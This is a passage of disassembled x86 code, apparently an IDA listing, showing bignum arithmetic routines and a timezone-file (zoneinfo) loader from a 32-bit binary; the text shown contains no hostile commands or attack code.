esp, 10h loc_8059A1C: ; CODE XREF: sub_8059938+B5j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] push esi lea ebx, [esi+edi*4] push ebx call sub_8057F48 add esp, 0Ch test eax, eax jl short loc_8059A74 push edi push esi push ebx mov edi, [ebp+arg_0] push edi jmp short loc_8059A84 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059A40: ; CODE XREF: sub_8059938+158j mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_0] push edi mov esi, [ebp+arg_C] push esi call sub_805971C add esp, 0Ch jmp short loc_8059AB0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059A58: ; CODE XREF: sub_8059938+24Aj mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] push esi mov edi, [ebp+arg_C] push edi call sub_805971C add esp, 0Ch jmp loc_8059BA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059A74: ; CODE XREF: sub_8059938+FAj mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] lea eax, [edi+esi*4] push eax push edi mov esi, [ebp+arg_0] push esi loc_8059A84: ; CODE XREF: sub_8059938+103j call sub_805A010 add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_8059A40 mov edi, [ebp+arg_8] mov esi, [ebp+arg_C] lea eax, [esi+edi*4] push eax mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_0] push esi mov edi, [ebp+arg_C] push edi call sub_8059938 add esp, 10h loc_8059AB0: ; CODE XREF: sub_8059938+11Cj cmp [ebp+var_4], 0 jle loc_8059B3F mov esi, [ebp+arg_8] lea edx, ds:0[esi*4] mov edi, [ebp+var_4] lea ecx, ds:0[edi*4] lea ebx, [edx+ecx] mov eax, edi and eax, 3 jz short loc_8059B14 cmp eax, 1 jle short loc_8059B00 cmp eax, 2 jle short loc_8059AF1 mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 loc_8059AF1: ; CODE XREF: sub_8059938+1A8j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 loc_8059B00: ; CODE XREF: sub_8059938+1A3j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 cmp edx, ebx jz short loc_8059B3F nop loc_8059B14: ; CODE XREF: sub_8059938+19Ej ; sub_8059938+205j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax mov eax, [edi+edx+4] mov [edi+ecx+4], eax mov eax, [edi+edx+8] mov [edi+ecx+8], eax mov eax, [edi+edx+0Ch] mov [edi+ecx+0Ch], eax add edx, 10h add ecx, 10h cmp edx, ebx jnz short loc_8059B14 loc_8059B3F: ; CODE XREF: sub_8059938+17Cj ; sub_8059938+1D9j mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_8] shl edi, 2 mov [ebp+var_10], edi mov eax, [ebp+arg_0] add eax, edi lea ebx, ds:0[esi*4] lea edx, [ebx+eax] push edx push eax push eax call sub_8066380 mov [ebp+var_8], eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_C] push edi add ebx, [ebp+arg_0] push ebx push ebx call sub_805A010 sub [ebp+var_8], eax add esp, 20h cmp [ebp+var_4], 1Fh jle loc_8059A58 mov eax, [ebp+arg_C] add eax, [ebp+var_10] push eax mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_C] push esi call sub_8059938 add esp, 10h loc_8059BA3: ; CODE XREF: sub_8059938+134j mov edi, [ebp+arg_8] push edi mov esi, [ebp+arg_C] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] push ebx push ebx call sub_8066380 add [ebp+var_8], eax add esp, 10h cmp [ebp+var_8], 0 jz loc_8059D3C mov edi, [ebp+arg_8] lea ebx, [ebx+edi*4] mov esi, [ebp+var_4] mov [ebp+var_C], esi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_10], edi mov eax, [ebp+var_8] add eax, edx mov [ebx], eax mov ebx, [ebp+var_10] cmp eax, edx jnb loc_8059CCC dec esi mov [ebp+var_C], esi jz loc_8059D3C mov eax, esi neg eax and eax, 3 test esi, esi jle short loc_8059C4F test eax, eax jz short loc_8059C70 cmp eax, 3 jge short loc_8059C4F cmp eax, 2 jge short loc_8059C33 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_10], esi mov [ebx], edx mov ebx, [ebp+var_10] test edx, edx jnz loc_8059CCC mov edi, [ebp+var_4] add edi, 0FFFFFFFEh mov [ebp+var_C], edi loc_8059C33: ; CODE XREF: sub_8059938+2DAj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_8059CCC dec [ebp+var_C] loc_8059C4F: ; CODE XREF: sub_8059938+2CCj ; sub_8059938+2D5j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] jz loc_8059D3C db 8Dh,76h,0 ; lea esi, [esi+0] loc_8059C70: ; CODE XREF: sub_8059938+2D0j ; sub_8059938+38Fj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] jnz short loc_8059C70 jmp short loc_8059D3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059CCC: ; CODE XREF: sub_8059938+2B3j ; sub_8059938+2ECj ... cmp [ebp+var_10], ebx jz short loc_8059D3C xor ecx, ecx mov edi, [ebp+var_C] dec edi mov [ebp+var_C], edi cmp ecx, edi jge short loc_8059D3C mov eax, edi and eax, 3 jz short loc_8059D10 cmp eax, 1 jle short loc_8059D01 cmp eax, 2 jle short loc_8059CF7 mov esi, [ebp+var_10] mov eax, [esi] mov [ebx], eax inc ecx loc_8059CF7: ; CODE XREF: sub_8059938+3B5j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059D01: ; CODE XREF: sub_8059938+3B0j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_C], ecx jz short loc_8059D3C loc_8059D10: ; CODE XREF: sub_8059938+3ABj ; sub_8059938+402j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [edi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_C], ecx jnz short loc_8059D10 loc_8059D3C: ; CODE XREF: sub_8059938+28Dj ; sub_8059938+2BDj ... xor ecx, ecx cmp [ebp+var_4], ecx jle short loc_8059DAF mov eax, [ebp+var_4] and eax, 3 jz short loc_8059D80 cmp eax, 1 jle short loc_8059D6D cmp eax, 2 jle short loc_8059D60 mov esi, [ebp+arg_C] mov eax, [esi] mov edi, [ebp+arg_0] mov [edi], eax inc ecx loc_8059D60: ; CODE XREF: sub_8059938+41Bj mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx loc_8059D6D: ; CODE XREF: sub_8059938+416j mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx cmp [ebp+var_4], ecx jz short loc_8059DAF nop loc_8059D80: ; CODE XREF: sub_8059938+411j ; sub_8059938+475j mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax lea eax, [ecx+1] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+2] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+3] mov edx, [esi+eax*4] mov [edi+eax*4], edx add ecx, 4 cmp [ebp+var_4], ecx jnz short loc_8059D80 loc_8059DAF: ; CODE XREF: sub_8059938+409j ; sub_8059938+445j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_C] add edx, eax push edx add eax, [ebp+arg_0] push eax push eax call sub_8066380 mov [ebp+var_8], eax test eax, eax jz loc_8059F40 mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] mov [ebp+var_C], edi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_10], edi lea eax, [edx+1] mov [ebx], eax mov ebx, [ebp+var_10] cmp eax, edx jnb loc_8059ED0 dec [ebp+var_C] jz loc_8059F40 mov eax, [ebp+var_C] neg eax and eax, 3 cmp [ebp+var_C], 0 jle short loc_8059E53 test eax, eax jz short loc_8059E74 cmp eax, 3 jge short loc_8059E53 cmp eax, 2 jge short loc_8059E37 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_10], esi mov [ebx], edx mov ebx, [ebp+var_10] test edx, edx jnz loc_8059ED0 dec [ebp+var_C] loc_8059E37: ; CODE XREF: sub_8059938+4E4j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_8059ED0 dec [ebp+var_C] loc_8059E53: ; CODE XREF: sub_8059938+4D6j ; sub_8059938+4DFj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] jz loc_8059F40 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8059E74: ; CODE XREF: sub_8059938+4DAj ; sub_8059938+593j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] jnz short loc_8059E74 jmp short loc_8059F40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059ED0: ; CODE XREF: sub_8059938+4BBj ; sub_8059938+4F6j ... cmp [ebp+var_10], ebx jz short loc_8059F40 xor ecx, ecx mov esi, [ebp+var_C] dec esi mov [ebp+var_C], esi cmp ecx, esi jge short loc_8059F40 mov eax, esi and eax, 3 jz short loc_8059F14 cmp eax, 1 jle short loc_8059F05 cmp eax, 2 jle short loc_8059EFB mov edi, [ebp+var_10] mov eax, [edi] mov [ebx], eax inc ecx loc_8059EFB: ; CODE XREF: sub_8059938+5B9j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059F05: ; CODE XREF: sub_8059938+5B4j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_C], ecx jz short loc_8059F40 loc_8059F14: ; CODE XREF: sub_8059938+5AFj ; sub_8059938+606j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [esi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_C], ecx jnz short loc_8059F14 loc_8059F40: ; CODE XREF: sub_8059938+78j ; sub_8059938+497j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8059938 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8059F4C proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_C] cmp ebx, ecx jnz short loc_8059F84 cmp edx, 1Fh jg short loc_8059F70 push edx push ebx push esi call sub_805971C jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F70: ; CODE XREF: sub_8059F4C+18j lea eax, ds:0[edx*8] sub esp, eax push esp push edx push ebx push esi call sub_8059938 jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F84: ; CODE XREF: sub_8059F4C+13j cmp edx, 1Fh jg short loc_8059F94 push edx push ecx push ebx push esi call sub_8058E20 jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F94: ; CODE XREF: sub_8059F4C+3Bj lea eax, ds:0[edx*8] sub esp, eax push esp push edx push ecx push ebx push esi call sub_8059048 loc_8059FA7: ; CODE XREF: sub_8059F4C+22j ; sub_8059F4C+36j ... lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8059F4C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8059FB0 proc near ; CODE XREF: sub_8053310+B56p ; sub_8053310+B73p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov edx, [ebp+arg_8] mov ecx, [ebp+arg_C] mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] lea edi, [edi+edx*4-4] lea esi, [esi+edx*4] neg edx mov ebx, [esi+edx*4] xor eax, eax shrd eax, ebx, cl inc edx jz short loc_8059FFD push eax test dl, 1 jnz short loc_8059FEA mov eax, ebx lea esi, [esi] loc_8059FE0: ; CODE XREF: sub_8059FB0+44j mov ebx, [esi+edx*4] shrd eax, ebx, cl mov [edi+edx*4], eax inc edx loc_8059FEA: ; CODE XREF: sub_8059FB0+2Aj mov eax, [esi+edx*4] shrd ebx, eax, cl mov [edi+edx*4], ebx inc edx jnz short loc_8059FE0 shr eax, cl mov [edi], eax pop eax jmp short loc_805A001 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059FFD: ; CODE XREF: sub_8059FB0+24j shr ebx, cl mov [edi], ebx loc_805A001: ; CODE XREF: sub_8059FB0+4Bj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8059FB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 5 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A010 proc near ; CODE XREF: sub_8058094+498p ; sub_8059048+129p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov edx, [ebp+arg_8] mov ecx, [ebp+arg_C] mov eax, ecx shr ecx, 3 neg eax and eax, 7 jz short loc_805A050 inc ecx shl eax, 2 sub edi, eax sub esi, eax sub edx, eax shr eax, 2 lea eax, (byte_805A043+0Ah)[eax+eax*8] jmp eax ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 byte_805A043 db 8Dh, 0B6h, 4 dup(0), 8Dh, 0B4h, 26h, 4 dup(0) ; DATA XREF: sub_805A010+2Ar ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A050: ; CODE XREF: sub_805A010+1Bj ; sub_805A010+8Fj mov eax, [esi] sbb eax, [edx] mov [edi], eax mov eax, [esi+4] sbb eax, [edx+4] mov [edi+4], eax mov eax, [esi+8] sbb eax, [edx+8] mov [edi+8], eax mov eax, [esi+0Ch] sbb eax, [edx+0Ch] mov [edi+0Ch], eax mov eax, [esi+10h] sbb eax, [edx+10h] mov [edi+10h], eax mov eax, [esi+14h] sbb eax, [edx+14h] mov [edi+14h], eax mov eax, [esi+18h] sbb eax, [edx+18h] mov [edi+18h], eax mov eax, [esi+1Ch] sbb eax, [edx+1Ch] mov [edi+1Ch], eax lea edi, [edi+20h] lea esi, [esi+20h] lea edx, [edx+20h] dec ecx jnz short loc_805A050 sbb eax, eax neg eax lea esp, [ebp+var_8] pop esi pop edi mov esp, ebp pop ebp retn sub_805A010 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A0B0 proc near ; CODE XREF: sub_8058094+547p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_C] push ebp lea edi, [edi+ecx*4] lea esi, [esi+ecx*4] neg ecx xor edx, edx loc_805A0CD: ; CODE XREF: sub_805A0B0+30j mov ebp, edx mov eax, [esi+ecx*4] mul ebx add eax, ebp adc edx, 0 sub [edi+ecx*4], eax adc edx, 0 inc ecx jnz short loc_805A0CD mov eax, edx pop ebp lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A0B0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A0F0 proc near ; CODE XREF: sub_805A254+E8p ; sub_805A254+FAp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx] shl eax, 8 movzx edx, byte ptr [ecx+1] or eax, edx mov edx, eax shl edx, 8 movzx eax, byte ptr [ecx+2] or eax, edx mov edx, eax shl edx, 8 movzx eax, byte ptr [ecx+3] or eax, edx mov esp, ebp pop ebp retn sub_805A0F0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A11C proc near ; CODE XREF: sub_805AF5C+A8p ; sub_805B010+2Dp var_C = byte ptr -0Ch push ebp mov ebp, esp push edi push esi push ebx mov dword_8078B1C, offset unk_8068EA4 mov dword_8078B20, offset unk_8068EA4 mov dword_8078B28, 0 mov dword_8078B24, 0 mov dword_8078B2C, 0 xor ecx, ecx cmp ds:dword_807B0E8, ecx jle short loc_805A1C4 mov ebx, offset dword_807B82C mov edx, offset unk_807B830 xor esi, esi lea esi, [esi] loc_805A16C: ; CODE XREF: sub_805A11C+A6j mov eax, [edx] mov edi, ds:dword_807B834[esi] add edi, offset unk_807C82C mov dword_8078B1C[eax*4], edi cmp dword ptr [edx], 0 jz short loc_805A190 mov dword_8078B28, 1 loc_805A190: ; CODE XREF: sub_805A11C+68j test ecx, ecx jz short loc_805A199 cmp dword ptr [edx], 0 jnz short loc_805A1A8 loc_805A199: ; CODE XREF: sub_805A11C+76j mov edi, [ebx] neg edi mov dword_8078B24, edi cmp dword ptr [edx], 0 jz short loc_805A1B2 loc_805A1A8: ; CODE XREF: sub_805A11C+7Bj mov edi, [ebx] neg edi mov dword_8078B2C, edi loc_805A1B2: ; CODE XREF: sub_805A11C+8Aj add ebx, 10h add edx, 10h add esi, 10h inc ecx cmp ds:dword_807B0E8, ecx jg short loc_805A16C loc_805A1C4: ; CODE XREF: sub_805A11C+40j push 0 call time lea esi, [eax+1E28500h] xor ecx, ecx cmp ds:dword_807B0E4, ecx jle short loc_805A247 mov ebx, offset dword_807B0E0 loc_805A1E0: ; CODE XREF: sub_805A11C+129j cmp [ebx+ecx*4+10h], esi jg short loc_805A23E movzx eax, byte ptr [ebx+ecx+5D8h] shl eax, 4 lea edx, dword_807B82C[eax] mov eax, [edx+4] mov edi, [edx+8] add edi, offset unk_807C82C mov dword_8078B1C[eax*4], edi cmp dword ptr [edx+4], 0 jz short loc_805A21A mov dword_8078B28, 1 loc_805A21A: ; CODE XREF: sub_805A11C+F2j test ecx, ecx jz short loc_805A224 cmp dword ptr [edx+4], 0 jnz short loc_805A234 loc_805A224: ; CODE XREF: sub_805A11C+100j mov edi, [edx] neg edi mov dword_8078B24, edi cmp dword ptr [edx+4], 0 jz short loc_805A23E loc_805A234: ; CODE XREF: sub_805A11C+106j mov edx, [edx] neg edx mov dword_8078B2C, edx loc_805A23E: ; CODE XREF: sub_805A11C+C8j ; sub_805A11C+116j inc ecx cmp ds:dword_807B0E4, ecx jg short loc_805A1E0 loc_805A247: ; CODE XREF: sub_805A11C+BDj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A11C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805A254 proc near ; CODE XREF: sub_805AAC0+7Bp ; sub_805AF2C+Dp ... var_1D5C = byte ptr -1D5Ch var_1D50 = dword ptr -1D50h var_1D4C = dword ptr -1D4Ch var_1D48 = dword ptr -1D48h var_1D44 = dword ptr -1D44h var_1D40 = byte ptr -1D40h var_1D28 = byte ptr -1D28h var_1D24 = byte ptr -1D24h var_1D20 = byte ptr -1D20h var_1D1C = byte ptr -1D1Ch var_1D18 = byte ptr -1D18h var_1D14 = byte ptr -1D14h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1D50h push edi push esi push ebx cmp [ebp+arg_0], 0 jnz short loc_805A277 mov [ebp+arg_0], offset aLocaltime ; "localtime" cmp [ebp+arg_0], 0 jz loc_805A3EF loc_805A277: ; CODE XREF: sub_805A254+10j mov edx, [ebp+arg_0] cmp byte ptr [edx], 3Ah jnz short loc_805A283 inc edx mov [ebp+arg_0], edx loc_805A283: ; CODE XREF: sub_805A254+29j mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 2Fh jz short loc_805A2EE mov esi, offset aUsrLibZoneinfo ; "/usr/lib/zoneinfo" test esi, esi jz loc_805A3EF xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea eax, [edx+eax-1] cmp eax, 400h ja loc_805A3EF push esi lea ebx, [ebp+var_404] push ebx call strcpy push offset asc_8068EC4 ; "/" push ebx call sub_80577C0 mov edx, [ebp+arg_0] push edx push ebx call sub_80577C0 mov [ebp+arg_0], ebx add esp, 18h loc_805A2EE: ; CODE XREF: sub_805A254+35j push 0 mov ecx, [ebp+arg_0] push ecx call open mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh jz loc_805A3EF push 193Ch lea eax, [ebp+var_1D40] push eax push ebx call read mov edi, eax push ebx call close add esp, 10h test eax, eax jnz loc_805A3EF cmp edi, 2Bh jbe loc_805A3EF lea eax, [ebp+var_1D28] push eax call sub_805A0F0 mov [ebp+var_1D44], eax lea eax, [ebp+var_1D24] push eax call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx], eax lea eax, [ebp+var_1D20] push eax call sub_805A0F0 mov ecx, [ebp+arg_4] mov [ecx+4], eax lea eax, [ebp+var_1D1C] push eax call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx+8], eax lea eax, [ebp+var_1D18] push eax call sub_805A0F0 mov ebx, eax mov ecx, [ebp+arg_4] mov [ecx+0Ch], ebx add esp, 14h cmp dword ptr [ecx], 32h ja short loc_805A3EF mov eax, [ecx+8] dec eax cmp eax, 0FFh ja short loc_805A3EF cmp dword ptr [ecx+4], 172h ja short loc_805A3EF cmp ebx, 32h ja short loc_805A3EF mov edx, [ebp+var_1D44] cmp [ecx+8], edx jz short loc_805A3C0 test edx, edx jnz short loc_805A3EF loc_805A3C0: ; CODE XREF: sub_805A254+166j mov ecx, [ebp+arg_4] mov eax, [ecx+4] lea ebx, [eax+eax*4] mov eax, [ecx+8] lea esi, [eax+eax*4] lea eax, [eax+esi+2Ch] add eax, ebx add eax, [ecx+0Ch] mov edx, [ecx] shl edx, 3 mov [ebp+var_1D50], edx add eax, edx add eax, [ebp+var_1D44] cmp edi, eax jnb short loc_805A3FC loc_805A3EF: ; CODE XREF: sub_805A254+1Dj ; sub_805A254+3Ej ... mov eax, 0FFFFFFFFh jmp loc_805A577 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A3FC: ; CODE XREF: sub_805A254+199j lea esi, [ebp+var_1D14] xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+4], edi jle short loc_805A425 loc_805A40C: ; CODE XREF: sub_805A254+1CFj push esi call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx+edi*4+10h], eax add esi, 4 add esp, 4 inc edi cmp [edx+4], edi jg short loc_805A40C loc_805A425: ; CODE XREF: sub_805A254+1B6j xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+4], edi jle short loc_805A450 nop loc_805A430: ; CODE XREF: sub_805A254+1FAj mov al, [esi] mov edx, [ebp+arg_4] mov [edi+edx+5D8h], al inc esi movzx eax, byte ptr [edi+edx+5D8h] cmp [edx+8], eax jle short loc_805A3EF inc edi cmp [edx+4], edi jg short loc_805A430 loc_805A450: ; CODE XREF: sub_805A254+1D9j xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jle short loc_805A4B6 mov [ebp+var_1D4C], 74Ch loc_805A464: ; CODE XREF: sub_805A254+260j mov ebx, [ebp+arg_4] add ebx, [ebp+var_1D4C] push esi call sub_805A0F0 mov [ebx], eax add esi, 4 movzx eax, byte ptr [esi] mov [ebx+4], eax inc esi add esp, 4 cmp eax, 1 ja loc_805A3EF movzx eax, byte ptr [esi] mov [ebx+8], eax inc esi test eax, eax jl 